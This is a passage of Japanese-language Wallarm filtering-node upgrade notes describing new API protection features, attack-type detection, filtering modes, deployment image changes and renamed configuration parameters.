consumption](../../attacks-vulns-list.md#unrestricted-resource-consumption)（自動化クライアントが適切な制限なく過剰にAPIやアプリケーションのリソースを消費する濫用行為）を防止する機能を提供します。これには、非悪意の大量リクエスト送信、計算資源・メモリ・帯域の枯渇、正規ユーザー向けサービス品質の低下などが含まれます。 - -![API Abuse prevention profile](../../images/about-wallarm-waf/abi-abuse-prevention/create-api-abuse-prevention.png) - -この種の自動化された脅威を検出するため、API Abuse Preventionは次の3つの新しい[検出器](../../api-abuse-prevention/overview.md#how-api-abuse-prevention-works)を提供します: - -* **Response time anomaly**: APIレスポンス遅延の異常パターンを特定し、自動化された濫用やバックエンドの悪用の兆候を検知します。 -* **Excessive request consumption**: 異常に大きいリクエストペイロードを送信するクライアントを特定し、バックエンド処理資源の濫用・誤用を示唆します。 -* **Excessive response consumption**: セッション全体でのレスポンスデータ総量に基づき、疑わしいセッションをフラグします。個々のリクエストに着目する検出器とは異なり、セッション全体でレスポンスサイズを集計して、スロードリップ型や分散型スクレイピング攻撃を特定します。 - -## API Specification Enforcement - -このアップデートでは、API Specification Enforcement機能を導入しました。これは受信トラフィックをフィルタリングし、API仕様に準拠したリクエストのみを許可します。クライアントとアプリケーションの間に配置されたWallarmノードが、仕様のエンドポイント記述と実際のAPIリクエストを比較します。未定義のエンドポイントや未許可パラメータを含むリクエストなどの不一致は、設定に応じてブロックまたは監視されます。 - -これは潜在的な攻撃試行を阻止してセキュリティを強化するだけでなく、過負荷や不適切な利用を回避することでAPIのパフォーマンスを最適化します。 - -また、一部のデプロイメントオプション向けに技術的な制御を可能にする新しいパラメータも追加しました: - -* All-in-oneインストーラー向け: [`wallarm_enable_apifw`](../../admin-en/configure-parameters-en.md#wallarm_enable_apifw) NGINXディレクティブ -* NGINX Ingress Controller向け: [`controller.wallarm.apifirewall`](../../admin-en/configure-kubernetes-en.md#controllerwallarmapifirewall)の値グループ -* NGINXベースのDockerイメージ向け: 環境変数`WALLARM_APIFW_ENABLE` - -[API Specification Enforcementの設定方法](../../api-specification-enforcement/setup.md) - -![Specification - セキュリティポリシー適用に使用](../../images/api-specification-enforcement/api-specification-enforcement-events.png) - -## 新しい攻撃タイプの検出 - -Wallarmは新しい攻撃タイプを検出します: - -* [Broken Object Level Authorization](https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/)（BOLA、Insecure Direct Object ReferencesまたはIDORとも呼ばれます）は、最も一般的なAPIの脆弱性の1つになりました。アプリケーションにIDOR / BOLAの脆弱性がある場合、攻撃者に機密情報やデータを露出する可能性が高くなります。攻撃者は、自身のリソースIDをAPI呼び出し内で他ユーザーのリソースIDに置き換えるだけで済みます。適切な認可確認がないと、攻撃者はそのリソースにアクセスできます。したがって、オブジェクトIDを受け取り何らかの操作を行うすべてのAPIエンドポイントは攻撃対象になり得ます。 - - この脆弱性の悪用を防ぐため、WallarmノードにはエンドポイントをBOLA攻撃から保護できる[新しいトリガー](../../admin-en/configuration-guides/protecting-against-bola.md)が追加されています。トリガーは特定エンドポイントへのリクエスト数を監視し、しきい値を超えた際にBOLA攻撃イベントを作成します。 -* [Mass Assignment](../../attacks-vulns-list.md#mass-assignment) - - Mass Assignment攻撃では、攻撃者はHTTPリクエストパラメータをプログラムコードの変数やオブジェクトにバインドしようとします。APIが脆弱でバインドを許容している場合、公開を意図しないオブジェクトの機密プロパティを変更され、特権昇格やセキュリティ機構の回避などにつながる可能性があります。 -* [SSRF](../../attacks-vulns-list.md#serverside-request-forgery-ssrf) - - SSRF攻撃が成功すると、攻撃対象のWebサーバーになりすましてリクエストを発行でき、使用中のネットワークポートの露呈、内部ネットワークのスキャン、認可の回避につながる可能性があります。 - -## API DiscoveryとAPI Sessionsのセンシティブなビジネスフロー - -!!! tip "" - [NGINX Node 5.3.0以上](../node-artifact-versions.md)および[Native Node 0.10.1以上](../native-node/node-artifact-versions.md) - -センシティブなビジネスフロー機能により、Wallarmの[API Discovery](../../api-discovery/overview.md)は、認証、アカウント管理、課金など特定のビジネスフローや機能にとって重要なエンドポイントを自動的に特定できます。 - -これにより、センシティブなビジネスフローに関連するエンドポイントの、脆弱性や侵害に対する定期監視・監査、および開発・保守・セキュリティ対応の優先順位付けが可能になります。 - -![API Discovery - センシティブなビジネスフロー](../../images/about-wallarm-waf/api-discovery/api-discovery-sbf.png) - -特定されたセンシティブなビジネスフローはWallarmの[API Sessions](../../api-sessions/overview.md)にも反映されます。API Discoveryでセンシティブなビジネスフローに重要とタグ付けされたエンドポイントに影響するセッションのリクエストがある場合、そのセッションにも自動的にそのビジネスフロータグが[付与](../../api-sessions/exploring.md#sensitive-business-flows)されます。 - -セッションにセンシティブなビジネスフロータグが付与されると、特定のビジネスフローでフィルタリングできるようになり、分析対象として最も重要なセッションを絞り込みやすくなります。 - -![!API Sessions - センシティブなビジネスフロー](../../images/api-sessions/api-sessions-sbf-no-select.png) - -## フル機能のGraphQLパーサー - -!!! tip "" - [NGINX Node 5.3.0以上](../node-artifact-versions.md)および[Native Node 0.12.0以上](../native-node/node-artifact-versions.md) - -フル機能の[GraphQLパーサー](../../user-guides/rules/request-processing.md#gql)は、GraphQLリクエスト内の入力検証攻撃（例: SQLインジェクション）の検出を大幅に向上させ、**精度向上と誤検知の最小化**を実現します。 - -主な利点: - -* 入力検証攻撃（例: SQLインジェクション）の**検出精度向上** -* **詳細なパラメータの可視化**: GraphQLリクエストパラメータの値を抽出してAPI Sessionsに表示し、セッションのコンテキストパラメータとして活用できます。 - - ![!API Sessions設定 - GraphQLリクエストパラメータ](../../images/api-sessions/api-sessions-graphql.png) - -* **精緻な攻撃検索**: 引数、ディレクティブ、変数など、特定のGraphQLリクエスト要素における攻撃を正確に特定します。 -* **高度なルール適用**: GraphQLリクエストの特定部分に粒度の細かい保護ルールを適用できます。これにより、GraphQLリクエストの定義済み部分における特定攻撃タイプの除外など、きめ細かい調整が可能です。 - - ![GraphQLリクエストポイントに適用されたルールの例"](../../images/user-guides/rules/rule-applied-to-graphql-point.png) - -## JSON Web Tokenの強度チェック - -[JSON Web Token（JWT）](https://jwt.io/)は、APIなどのリソース間でデータを安全に交換するための一般的な認証標準です。JWTの侵害は、認証機構を破られることでアプリケーションやAPIに完全アクセスされるため、攻撃者の主要な標的となります。JWTが弱いほど、侵害される可能性は高まります。 - -現在、Wallarmは次のJWTの弱点を[検出](../../attacks-vulns-list.md#weak-jwt)します: - -* 暗号化されていないJWT -* 秘密鍵が漏えいした状態で署名されたJWT - -## JSON Web Tokenに対する攻撃の検査 - -JSON Web Token（JWT）は最も一般的な認証方式の1つです。そのため、JWTは攻撃（例えばSQLiやRCE）の格好の手段にもなります。JWT内のデータはエンコードされ、リクエスト内のどこにでも存在し得るため、発見が非常に困難です。 - -Wallarmノードはリクエスト内のどこにあるJWTでも[検出してデコード](../../user-guides/rules/request-processing.md#jwt)し、適切な[フィルタリングモード](../../admin-en/configure-wallarm-mode.md)に従って、この認証方式を悪用する攻撃をブロックします。 - -## サポートされるインストールオプション - -* Community Ingress NGINX Controller 1.11.5に基づくWallarm Ingress controller。 - - [最新のWallarm Ingress controllerへの移行手順 →](ingress-controller.md) -* [非推奨](https://www.centos.org/centos-linux-eol/)となったCentOS 8.xの代替として、AlmaLinux、Rocky Linux、Oracle Linux 8.xをサポートしました。 - - 代替OS向けのWallarmノードパッケージはCentOS 8.xリポジトリに格納されます。 -* Debian 11 Bullseyeをサポートしました -* Ubuntu 22.04 LTS（jammy）をサポートしました -* CentOS 6.x（CloudLinux 6.x）のサポートを終了しました -* Debian 9.xのサポートを終了しました -* Ubuntu 16.04 LTS（xenial）のサポートを終了しました - -[サポートされるインストールオプションの全一覧 →](../../installation/supported-deployment-options.md) - -## フィルタリングノードインストールのシステム要件 - -* Wallarmノードインスタンスは、攻撃検出ルールや[API仕様](../../api-specification-enforcement/overview.md)の更新をダウンロードし、[許可/拒否/グレーリスト](../../user-guides/ip-lists/overview.md)に登録された国、地域、データセンターの正確なIPを取得するため、以下のIPアドレスへのアクセスが必要になりました。 - - --8<-- "../include/wallarm-cloud-ips.md" -* フィルタリングノードがクラウドにデータをアップロードする宛先は、`us1.api.wallarm.com:444`および`api.wallarm.com:444`から、`us1.api.wallarm.com:443`（US Cloud）と`api.wallarm.com:443`（EU Cloud）に変更されました。 - - ノードをデプロイしたサーバーが外部リソースへの接続を個別に許可している場合、アップグレード後にフィルタリングノードとクラウド間の同期が停止します。新しいポートのAPIエンドポイントへのアクセスを許可する必要があります。 - -## APIトークンによるWallarm Cloudへのノード登録の統一 - -新しいWallarmノードのリリースでは、メール・パスワードによるクラウドへのノード登録は廃止されました。新しいAPIトークンベースのノード登録方式への移行が必須です。 - -新リリースでは、[サポートされる任意のプラットフォーム](../../installation/supported-deployment-options.md)で**APIトークン**によるWallarm Cloudへのノード登録が可能になり、以下のとおりより安全かつ迅速にWallarm Cloudへ接続できます: - -* ノードのインストールだけが可能な**Deploy**ロールの専用ユーザーアカウントは不要です。 -* ユーザーデータはWallarm Cloudに安全に保存されます。 -* ユーザーアカウントで二要素認証を有効化していても、ノード登録を妨げません。 -* 別サーバーにデプロイした初期トラフィック処理モジュールとリクエストポストアナリティクスモジュールを、1つのノードトークンでクラウド登録できます。 - -登録方式の変更に伴い、ノードタイプにも更新があります: - -* サーバーで実行する登録スクリプト名は`register-node`です。以前、**cloud node**はトークンによる登録をサポートしていましたが、スクリプト名は`addcloudnode`でした。 - - cloud nodeは新しいデプロイ手順への移行は不要です。 -* `addnode`スクリプトに渡す「メール・パスワード」での登録に対応していた**regular node**は非推奨です。 - -現在のノード登録手順は次のとおりです: - -1. Wallarm Console → **Settings** → **API tokens**に進みます。 -1. **Node deployment/Deployment**の使用タイプで[トークンを生成](../../user-guides/settings/api-tokens.md)します。 -1. 必要なノードのデプロイアーティファクトを、該当パラメータにAPIトークンを渡して実行します。 - -!!! info "通常ノードのサポート" - regular nodeタイプは非推奨であり、将来のリリースで削除されます。 - -## AWSでWallarmをデプロイするTerraformモジュール - -[Terraform](https://registry.terraform.io/modules/wallarm/wallarm/aws/)を用いたInfrastructure as Code（IaC）環境から、[AWS](https://aws.amazon.com/)へWallarmを容易にデプロイできるようになりました。 - -Wallarm Terraformモジュールは、セキュリティとフェイルオーバーの業界ベストプラクティスに準拠したスケーラブルなソリューションで、**プロキシ**としてWallarmをデプロイするために設計されています。 - -[WallarmのAWS向けTerraformモジュールのドキュメント](../../installation/cloud-platforms/aws/terraform-module/overview.md) - -## 拒否リストソースからのブロックリクエスト統計の収集 - -WallarmのNGINXベースのフィルタリングノードは、ソースが拒否リストにあるためにブロックされたリクエストの統計を収集できるようになり、攻撃の強度評価能力が強化されました。これにはブロックされたリクエストの統計とそのサンプルへのアクセスが含まれ、見落としを最小化できます。Wallarm Console UIの**Attacks**セクションで確認できます。 - -自動IPブロッキング（例: ブルートフォーストリガーを設定）を使用している場合、初回にトリガーを発動させたリクエストと、その後にブロックされたリクエストのサンプルの両方を分析できます。ソースの手動拒否リスト登録によりブロックされたリクエストについても、新機能によりブロックソースのアクション可視性が向上します。 - -**Attacks**セクションに新しい[検索タグとフィルター](../../user-guides/search-and-filters/use-search.md#search-by-attack-type)を導入し、新データへ容易にアクセスできます: - -* `blocked_source`検索で、IPアドレス、サブネット、国、VPNなどの手動拒否リスト登録によりブロックされたリクエストを特定できます。 -* `multiple_payloads`検索で、**Number of malicious payloads**トリガーによりブロックされたリクエストを特定できます。このトリガーは、複数のペイロードを含む悪意のあるリクエストを発するソースを拒否リストに追加する設計です。これはマルチアタック加害者の一般的特徴です。 -* さらに、`api_abuse`、`brute`、`dirbust`、`bola`検索タグは、それぞれの攻撃タイプに対応するWallarmトリガーによりソースが自動で拒否リストに追加されたリクエストも包含します。 - -この変更に伴い、デフォルトで`on`（有効）に設定され、必要に応じて`off`（無効）にできる新しい設定パラメータも導入しました: - -* [`wallarm_acl_export_enable`](../../admin-en/configure-parameters-en.md#wallarm_acl_export_enable) NGINXディレクティブ -* NGINX Ingress controllerチャート用の値[`controller.config.wallarm-acl-export-enable`](../../admin-en/configure-kubernetes-en.md#global-controller-settings) -* Sidecar Controller向けHelmチャートの値[`config.wallarm.aclExportEnable`](../../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md#configwallarmaclexportenable)と、Podアノテーション[`sidecar.wallarm.io/wallarm-acl-export-enable`](../../installation/kubernetes/sidecar-proxy/pod-annotations.md) - -## `cloud-init.py`スクリプト同梱のWallarm AWSイメージ - -Infrastructure as Code（IaC）アプローチに従う場合、[`cloud-init`](https://cloudinit.readthedocs.io/en/latest/index.html)スクリプトを使用してAWSへWallarmノードをデプロイする必要があるかもしれません。WallarmはAWSクラウドイメージに、すぐに使える`cloud-init.py`スクリプトを同梱しています。 - -[Wallarmの`cloud-init`スクリプト仕様](../../installation/cloud-platforms/cloud-init.md) - -## マルチテナントノード構成の簡素化 - -[マルチテナントノード](../../installation/multi-tenant/overview.md)では、テナントとアプリケーションをそれぞれ専用のディレクティブで定義します: - -* テナントの一意識別子を設定するために[`wallarm_partner_client_uuid`](../../admin-en/configure-parameters-en.md#wallarm_partner_client_uuid) NGINXディレクティブを追加しました。 -* [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) NGINXディレクティブの挙動を変更しました。現在はアプリケーションIDの設定に**のみ**使用します。 - -[マルチテナントノードのアップグレード手順](../multi-tenant.md) - -## フィルタリングモード - -* 新しい**safe blocking**フィルタリングモード。 - - このモードは、[グレーリストIPアドレス](../../user-guides/ip-lists/overview.md)からの悪意あるリクエストのみをブロックすることで、[誤検知](../../about-wallarm/protecting-against-attacks.md#false-positives)の大幅な削減を可能にします。 -* リクエストソースの分析は、`safe_blocking`および`block`モードでのみ実行されます。 - - * `off`または`monitoring`モードで動作するWallarmノードが、[拒否リスト](../../user-guides/ip-lists/overview.md)のIPからのリクエストを検出しても、このリクエストはブロックしません。 - * `monitoring`モードで動作するWallarmノードは、[許可リストIPアドレス](../../user-guides/ip-lists/overview.md)からのすべての攻撃をWallarm Cloudにアップロードします。 - -[Wallarmノードのモードの詳細 →](../../admin-en/configure-wallarm-mode.md) - -## リクエストソース制御 - -以下のリクエストソース制御パラメータは非推奨です: - -* IPアドレス拒否リストの設定に使用されるすべての`acl` NGINXディレクティブと環境変数。IPの手動拒否リスト登録は不要になりました。 - - [拒否リスト設定の移行詳細 →](../migrate-ip-lists-to-node-3.md) - -リクエストソース制御には以下の新機能があります: - -* IPアドレスの許可リスト・拒否リスト・グレーリストを完全に管理するためのWallarm Consoleセクション -* 新しい[フィルタリングモード](../../admin-en/configure-wallarm-mode.md)`safe_blocking`と[IPアドレスのグレーリスト](../../user-guides/ip-lists/overview.md)のサポート - - **safe blocking**モードは、グレーリストIPアドレスからの悪意あるリクエストのみをブロックすることで、[誤検知](../../about-wallarm/protecting-against-attacks.md#false-positives)の大幅な削減を可能にします。 - - 自動グレーリスト化には、新たに提供された[**Number of malicious payloads**トリガー](../../admin-en/configuration-guides/protecting-with-thresholds.md)を使用できます。 -* 企業リソースの脆弱性スキャンや追加のセキュリティテストに使用する[WallarmのスキャナーIP](../../admin-en/scanner-addresses.md)の自動許可リスト登録。これらのアドレスの手動許可は不要です。 -* サブネット、TorネットワークIP、VPN IP、特定の国・地域・データセンターに登録されたIPグループを許可・拒否・グレーリスト化可能 -* 特定のアプリケーションに対して、リクエストソースを許可・拒否・グレーリスト化可能 -* リクエストの発信元分析を無効化するための新しいNGINXディレクティブ`disable_acl` - - [`disable_acl` NGINXディレクティブの詳細 →](../../admin-en/configure-parameters-en.md#disable_acl) - -[許可リスト・拒否リスト・グレーリストへのIP追加の詳細 →](../../user-guides/ip-lists/overview.md) - -## APIインベントリ検出のための新モジュール - -新しいWallarmノードには、アプリケーションAPIを自動識別するモジュール**API Discovery**が同梱されています。モジュールはデフォルトで無効です。 - -[API Discoveryモジュールの詳細 →](../../api-discovery/overview.md) - -## libdetectionライブラリによる攻撃分析の強化 - -Wallarmによる攻撃分析は、追加の攻撃検証レイヤーを導入して強化されました。すべてのフォームファクターのWallarmノードには、デフォルトでlibdetectionライブラリが有効になっています。このライブラリは、すべての[SQLi](../../attacks-vulns-list.md#sql-injection)攻撃に対して、完全な文法ベースの二次検証を実行し、SQLインジェクションにおける誤検知を削減します。 - -!!! warning "メモリ消費量の増加" - **libdetection**ライブラリを有効にすると、NGINXおよびWallarmプロセスのメモリ消費量が約10%増加する可能性があります。 - -[Wallarmの攻撃検出方法の詳細 →](../../about-wallarm/protecting-against-attacks.md) - -## `overlimit_res`攻撃検出の微調整を可能にするルール - -[`overlimit_res`攻撃検出を微調整する新しいルール](../../user-guides/rules/configure-overlimit-res-detection.md)を導入しました。 - -NGINX設定ファイルによる`overlimit_res`攻撃検出の微調整は非推奨の方法となります: - -* このルールでは、以前の`wallarm_process_time_limit` NGINXディレクティブと同様に、単一のリクエスト処理時間の上限を設定できます。 -* このルールでは、`wallarm_process_time_limit_block` NGINXディレクティブの代わりに、[ノードのフィルタリングモード](../../admin-en/configure-wallarm-mode.md)に従って`overlimit_res`攻撃をブロックまたは許可できます。 - -上記のディレクティブおよびパラメータは非推奨となり、将来のリリースで削除されます。それまでに、ディレクティブからルールへの`overlimit_res`攻撃検出の設定移行を推奨します。該当する[ノードのデプロイオプションごとの手順](../general-recommendations.md#update-process)を参照してください。 - -設定ファイルに上記のパラメータが明示的に指定されており、ルールがまだ作成されていない場合、ノードは設定ファイルの内容に従ってリクエストを処理します。 - -## 最適化され、よりセキュアになったNGINXベースのDockerイメージ - -[WallarmのNGINXベースのフィルタリングノード用Dockerイメージ](../../admin-en/installation-docker-en.md)は、セキュリティと最適化のために刷新されました。主な更新点は次のとおりです: - -* DockerイメージはDebianからAlpine Linuxベースに変更され、より安全で軽量なアーティファクトになりました。以前同梱されていた`auth-pam`および`subs-filter` NGINXモジュールはDockerイメージには含まれなくなりました。 -* NGINXの最新安定版1.28.0へ更新（以前は1.14.x）。1.14.xの多くの脆弱性はDebian（旧イメージはDebian 10.xベース）によりパッチ適用済みでしたが、1.28.0への更新で残存する脆弱性も解消し、セキュリティが向上します。 - - NGINXの更新とAlpine Linuxへの移行により、NGINX 1.28.0に実装されたAlpine固有のパッチによってHTTP/2 Rapid Reset脆弱性（CVE-2023-44487）が解消されます。 - -* ARM64アーキテクチャのプロセッサーをサポートし、インストール時に自動検出します。 -* Dockerコンテナ内のすべての操作は、以前の`root`ユーザーではなく、非rootユーザー`wallarm`で実行されるようになりました。これはNGINXプロセスにも適用されます。 -* [`/wallarm-status`](../../admin-en/configure-statistics-service.md)エンドポイントは、Dockerコンテナ外からアクセスする場合に、JSONではなくPrometheus形式でメトリクスをエクスポートするよう更新されました。この機能には、環境変数[`WALLARM_STATUS_ALLOW`](../../admin-en/installation-docker-en.md#wallarm-status-allow-env-var)の適切な設定が必要です。 -* Dockerイメージは[All-in-oneインストーラー](../../installation/nginx/all-in-one.md)でビルドされるようになり、内部ディレクトリ構造が変更されました: - - * ログディレクトリ: `/var/log/wallarm` → `/opt/wallarm/var/log/wallarm` - * クラウド接続用の資格情報ファイル格納ディレクトリ: `/etc/wallarm` → `/opt/wallarm/etc/wallarm` -* `/usr/share`ディレクトリのパス → `/opt/wallarm/usr/share` - - これにより、[サンプルブロックページ](../../admin-en/configuration-guides/configure-block-page-and-code.md)の新しいパスは`/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`になります。 - -新機能は新フォーマットのNGINXベースDockerイメージでもサポートされます。 - -## クラウドイメージの最適化 - -[Amazon Machine Image（AMI）](../../installation/cloud-platforms/aws/ami.md)と[Google Cloud Machine Image](../../installation/cloud-platforms/gcp/machine-image.md)を最適化しました。主な更新点は次のとおりです: - -* クラウドイメージは、セキュリティの向上のため、旧Debian 10.x（buster）から最新安定版Debian 12.x（bookworm）に変更しました。 -* NGINX 1.22.1へ更新（以前は1.14.x）。 -* ARM64アーキテクチャのプロセッサーをサポートし、インストール時に自動検出します。 -* クラウドイメージは[All-in-oneインストーラー](../../installation/nginx/all-in-one.md)でビルドされるようになり、内部ディレクトリ構造が変更されました: - - * ノード登録スクリプト: `/usr/share/wallarm-common/register-node` → `/opt/wallarm/usr/share/wallarm-common/cloud-init.py` - * ログディレクトリ: `/var/log/wallarm` → `/opt/wallarm/var/log/wallarm` - * クラウド接続用の資格情報ファイル格納ディレクトリ: `/etc/wallarm` → `/opt/wallarm/etc/wallarm` - * `/usr/share`ディレクトリのパス → `/opt/wallarm/usr/share` - - これにより、[サンプルブロックページ](../../admin-en/configuration-guides/configure-block-page-and-code.md)の新しいパスは`/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`になります。 - - * グローバルなWallarmフィルタリングノード設定を含む`/etc/nginx/conf.d/wallarm.conf`ファイルは削除されました。 - -新機能は新フォーマットのクラウドイメージでもサポートされます。 - -## 新しいブロックページ - -サンプルブロックページ`/usr/share/nginx/html/wallarm_blocked.html`を更新しました。新しいノードバージョンではレイアウトが刷新され、ロゴとサポートメールのカスタマイズに対応しました。 - -新しいレイアウトのブロックページは、デフォルトで以下のとおりです: - -![Wallarmブロックページ](../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -[ブロックページ設定の詳細 →](../../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) - -## 基本的なノード設定の新パラメータ - -* WallarmのNGINXベースDockerコンテナに渡す新しい環境変数: - - * `WALLARM_APPLICATION`: Wallarm Cloudで使用する保護対象アプリケーションの識別子を設定します。 - * `NGINX_PORT`: Dockerコンテナ内でNGINXが使用するポートを設定します。 - - [WallarmのNGINXベースDockerコンテナのデプロイ手順 →](../../admin-en/installation-docker-en.md) -* Wallarm Cloudとフィルタリングノードの同期設定用に、`node.yaml`ファイルへ新パラメータ`api.local_host`と`api.local_port`を追加しました。これらにより、Wallarm APIへのリクエスト送信に用いるネットワークインターフェイスのローカルIPアドレスとポートを指定できます。 - - [Wallarm Cloudとフィルタリングノードの同期設定に関する`node.yaml`パラメータの全一覧 →](../../admin-en/configure-cloud-node-synchronization-en.md#access-parameters) - -## NGINXベースのWallarm DockerコンテナでのIPv6接続の無効化 - -NGINXベースのWallarm Dockerイメージは、新しい環境変数`DISABLE_IPV6`をサポートします。この変数により、NGINXがIPv6接続を処理しないようにし、IPv4接続のみを処理させることができます。 - -## パラメータ、ファイル、メトリクスの名称変更 - -* 次のNGINXディレクティブの名称を変更しました: - - * `wallarm_instance` → [`wallarm_application`](../../admin-en/configure-parameters-en.md#wallarm_application) - * `wallarm_local_trainingset_path` → [`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path) - * `wallarm_global_trainingset_path` → [`wallarm_protondb_path`](../../admin-en/configure-parameters-en.md#wallarm_protondb_path) - * `wallarm_ts_request_memory_limit` → [`wallarm_general_ruleset_memory_limit`](../../admin-en/configure-parameters-en.md#wallarm_general_ruleset_memory_limit) - - 旧名称のパラメータも引き続きサポートしますが、将来のリリースで非推奨になります。パラメータのロジックに変更はありません。 -* Ingressの[アノテーション](../../admin-en/configure-kubernetes-en.md#ingress-annotations)`nginx.ingress.kubernetes.io/wallarm-instance`を`nginx.ingress.kubernetes.io/wallarm-application`に変更しました。 - - 旧名称のアノテーションも引き続きサポートしますが、将来のリリースで非推奨になります。アノテーションのロジックに変更はありません。 -* カスタムルールセットビルドのファイル`/etc/wallarm/lom`を`/etc/wallarm/custom_ruleset`に変更しました。新しいノードバージョンのファイルシステムには新名称のファイルのみが存在します。 - - NGINXディレクティブ[`wallarm_custom_ruleset_path`](../../admin-en/configure-parameters-en.md#wallarm_custom_ruleset_path)のデフォルト値もこれに合わせて変更され、新しいデフォルト値は`/etc/wallarm/custom_ruleset`です。 -* 秘密鍵ファイル`/etc/wallarm/license.key`を`/etc/wallarm/private.key`に変更しました。新しい名称がデフォルトで使用されます。 - -## 統計サービスのパラメータ - -* Prometheusメトリクス`wallarm_custom_ruleset_id`に`format`属性を追加しました。この属性はカスタムルールセットのフォーマットを表します。主値は引き続きカスタムルールセットのビルドバージョンです。更新後の`wallarm_custom_ruleset_id`値の例: - - ``` - wallarm_custom_ruleset_id{format="51"} 386 - ``` -* Wallarm統計サービスは、新しい[Wallarmのレート制限](#レート制限)モジュールのデータとともに新パラメータ`rate_limit`を返します。新パラメータは、拒否されたリクエストや遅延されたリクエスト、ならびにモジュールの動作に関する問題を示します。 -* 拒否リストIPからのリクエスト数は、統計サービス出力の新パラメータ`blocked_by_acl`および既存の`requests`、`blocked`にも表示されます。 -* サービスは新パラメータ`custom_ruleset_ver`も返し、Wallarmノードが使用している[カスタムルールセット](../../glossary-en.md#custom-ruleset-the-former-term-is-lom)のフォーマットを示します。 -* 次のノード統計パラメータの名称を変更しました: - - * `lom_apply_time` → `custom_ruleset_apply_time` - * `lom_id` → `custom_ruleset_id` - - 新しいノードバージョンでは、一時的に`http://127.0.0.8/wallarm-status`エンドポイントが非推奨および新パラメータの両方を返します。非推奨パラメータは将来のリリースでサービス出力から削除されます。 - -[統計サービスの詳細 →](../../admin-en/configure-statistics-service.md) - -## ノードのログ形式を設定するための新変数 - -次の[ノードのロギング変数](../../admin-en/configure-logging.md#filter-node-variables)を変更しました: - -* `wallarm_request_time`を`wallarm_request_cpu_time`に変更 - - この変数は、リクエスト処理にCPUが費やした時間（秒）を意味します。 - - 旧名称の変数は非推奨であり、将来のリリースで削除されます。変数のロジックに変更はありません。 -* `wallarm_request_mono_time`を追加 - - この変数は、リクエスト処理にCPUが費やした時間（秒）＋キュー待ちの時間を意味します。 - -## 拒否リストIPからのリクエストで攻撃探索を省略して性能を向上 - -新しいディレクティブ[`wallarm_acl_access_phase`](../../admin-en/configure-parameters-en.md#wallarm_acl_access_phase)により、[拒否リスト](../../user-guides/ip-lists/overview.md)IPからのリクエスト分析時に攻撃探索ステージを省略して、Wallarmノードの性能を向上できます。多数の拒否リストIP（例: 国全体）からの高トラフィックによりCPU負荷が高い環境で有用です。 - -## ノードインスタンスの簡単なグルーピング - -`Node deployment/Deployment`使用タイプの[**APIトークン**](../../user-guides/settings/api-tokens.md)と、`group`ラベルを含む`WALLARM_LABELS`変数を併用することで、ノードインスタンスを簡単にグルーピングできるようになりました。 - -例: - -```bash -docker run -d -e WALLARM_API_TOKEN='' -e NGINX_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -e WALLARM_LABELS='group=' -p 80:80 wallarm/node:6.4.1 -``` -…により、ノードインスタンスは``インスタンスグループに配置されます（既存の場合はそこへ、存在しない場合は作成されます）。 - -## 対応済みの脆弱性 - -新リリースでは、Wallarmのデプロイアーティファクトに含まれていた重大・高リスクの複数の脆弱性に対応し、脆弱なコンポーネントを置き換えることでソフトウェアのセキュリティ体制を強化しました。 - -対応済みの脆弱性には、[CVE-2020-36327](https://nvd.nist.gov/vuln/detail/CVE-2020-36327)、[CVE-2023-37920](https://nvd.nist.gov/vuln/detail/CVE-2023-37920)などが含まれます。 - -## HTTP/2ストリーム長制御ディレクティブ - -HTTP/2ストリームの最大長を制御するディレクティブ[`wallarm_http_v2_stream_max_len`](../../admin-en/configure-parameters-en.md#wallarm_http_v2_stream_max_len)を導入しました。長寿命のgRPC接続での過剰なメモリ消費を防止するのに役立ちます。 - -この変数を[Dockerコンテナ](../../admin-en/installation-docker-en.md)で使用するには、NGINX設定ファイルに指定し、そのファイルをコンテナにマウントしてください。 - -## Account Takeover、Scraping、Security Crawlers用の個別検索タグ - -`account_takeover`、`scraping`、`security_crawlers`攻撃タイプ向けの個別の[検索タグ](../../user-guides/search-and-filters/use-search.md)を導入し、従来の一般的な`api_abuse`タグよりも特異性が向上しました。 - -## コネクタおよびTCPトラフィックミラー向けNative Node - -NGINXに依存しない新しいWallarmノードのデプロイオプション、Native Nodeを紹介します。このソリューションは、NGINXが不要な環境や、プラットフォーム非依存のアプローチが望まれる環境向けに開発されました。 - -現在、以下のデプロイに対応しています: - -* MuleSoft、Cloudflare、CloudFront、Broadcom Layer7 API Gateway、Fastlyコネクタ（リクエスト・レスポンスの両方を分析） -* Kong API GatewayおよびIstio Ingressコネクタ -* TCPトラフィックミラー分析 - -[詳細を読む](../../installation/nginx-native-node-internals.md#native-node) - -## ポストアナリティクスでTarantoolをwstoreに置換 - -Wallarmノードは、ローカルのポストアナリティクス処理に、Tarantoolの代わりに**Wallarm開発のサービスwstore**を使用します。結果として以下の変更があります: - -* [All-in-oneインストーラー](../../installation/nginx/all-in-one.md)、[AWS](../../installation/cloud-platforms/aws/ami.md)/[GCP](../../installation/cloud-platforms/gcp/machine-image.md)イメージ: - - * ポストアナリティクスモジュールを他のNGINXサービスと分離してデプロイする場合のサーバーアドレスを定義するNGINXディレクティブ`wallarm_tarantool_upstream`は、[`wallarm_wstore_upstream`](../../admin-en/configure-parameters-en.md#wallarm_wstore_upstream)に名称変更されました。 - - 後方互換性は警告付きで維持されます: - - ``` - 2025/03/04 20:43:04 [warn] 3719#3719: "wallarm_tarantool_upstream" directive is deprecated, use "wallarm_wstore_upstream" instead in /etc/nginx/nginx.conf:19 - ``` - * [ログファイル](../../admin-en/configure-logging.md)の名称変更: `/opt/wallarm/var/log/wallarm/tarantool-out.log` → `/opt/wallarm/var/log/wallarm/wstore-out.log` - * 新しいwstore設定ファイル`/opt/wallarm/wstore/wstore.yaml`が、`/etc/default/wallarm-tarantool`や`/etc/sysconfig/wallarm-tarantool`などの旧Tarantool設定ファイルを置き換えます。 - * `/opt/wallarm/etc/wallarm/node.yaml`内の`tarantool`セクションは`wstore`になりました。後方互換性は警告付きで維持されます。 -* [Dockerイメージ](../../admin-en/installation-docker-en.md): - - * 上記の変更はコンテナ内にも適用されています。 - * 